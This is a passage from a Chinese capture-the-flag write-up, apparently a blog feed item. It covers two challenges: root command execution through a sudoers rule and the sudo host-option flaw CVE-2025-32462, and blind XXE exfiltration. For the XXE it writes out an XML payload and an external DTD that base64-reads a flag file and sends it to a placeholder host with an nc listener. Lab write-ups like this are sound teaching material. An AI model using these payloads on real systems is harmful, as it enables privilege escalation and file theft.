56 -rwsr-xr-x    1 root     root         55408 May 19  2018 /usr/bin/chage
44 -rwsr-xr-x    1 root     root         41848 May 19  2018 /usr/bin/chfn
116 -rwsr-xr-x    1 root     root        116024 Feb  5  2020 /usr/bin/sudo
20 -rwsr-xr-x    1 root     root         18608 May 19  2018 /usr/bin/expiry
32 -rwsr-xr-x    1 root     root         32256 May 19  2018 /usr/bin/chsh
32 -rwsr-xr-x    1 root     root         32088 May 19  2018 /usr/bin/newgrp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果没发现什么高危的，试了试sudo的几个高危险CVE，没啥用，然后看/etc/sudoers这个sudo命令的配置文件，在最后一行发现www-data asd.asd.asd = NOPASSWD:ALL，意思是可以在www-data用户下使用asd.asd.asd的主机地址执行所有权限的命令并且不需要密码，结合漏洞&lt;a href=&quot;https://hilang.cloud/tag/cve-2025-32462/&quot;&gt;CVE-2025-32462&lt;/a&gt;，这个漏洞基本原理是sudo 的 - h（–host）选项错误地将远程主机的权限规则应用到本地系统，导致本地低权限用户可通过指定允许的远程主机名，绕过本地权限限制，以 root 身份执行命令。&lt;/p&gt;
&lt;p&gt;然后利用，直接打出payload利用漏洞越权拿flag:\&lt;/p&gt;
&lt;p&gt;sudo -h asd.asd.asd cat ../../../flag,直接KO&lt;/p&gt;
&lt;h1&gt;W3基础XXE出网&lt;/h1&gt;
&lt;p&gt;这边是上来是一个xml输入界面&lt;img src=&quot;https://ymsora.com/WORKIMAGE/q.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入只有seccess,faliled,hacker。没有回显，办法试试dtd外带。又因为过滤了!ENTITY,只能外部引用了，我试试写写payload&lt;/p&gt;
&lt;p&gt;&amp;lt;?xml version=&apos;1.0&apos;?&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!DOCTYPE a SYSTEM &apos;http://sdkasjdaj/xxx.dtd&apos;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;a&amp;gt;&amp;amp;file;&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;以上，其中的&amp;amp;file是引用上面dtd的参数，这是攻击payload&lt;/p&gt;
&lt;p&gt;然后，再是服务器的内容，服务器的payload我试试手打。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY %ddk SYSTEM &apos;php://filter/read=convert.base64.encode/resource=&apos;/f1111llllaa44g&apos;&amp;gt;
&amp;lt;!ENTITY %vps &apos;&amp;lt;!ENTITY &amp;amp;#37;ppk SYSTEM &apos;http://asdasdadadadd:2333/&amp;amp;ddk&apos;&amp;gt;&apos;&amp;gt;
%ppk;
%vps;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个解释一下，ddk引用内容，然后下面至于为什么要套壳，是为了延迟输出，从而绕过waf，还有如果在前面直接用%是ok，但是在后面&amp;lt;&amp;gt;里要用;证明这个十进制或者十六进制的合法性，然后就没啥了，直接nc监听，然后看到/xxxxxxxx的就是flag。这个吧，原理就是把dtd文件引用然后解析ppk,vps，就连上nc了，然后最后一点，他妈&lt;/p&gt;
&lt;p&gt;&amp;lt;a&amp;gt;&amp;amp;file;&amp;lt;/a&amp;gt;我一直懵逼到底干嘛用，其实就是防止报错，这是维持xml结构正确的，本身没啥用，ok结束&lt;/p&gt;
</content:encoded></item></channel></rss>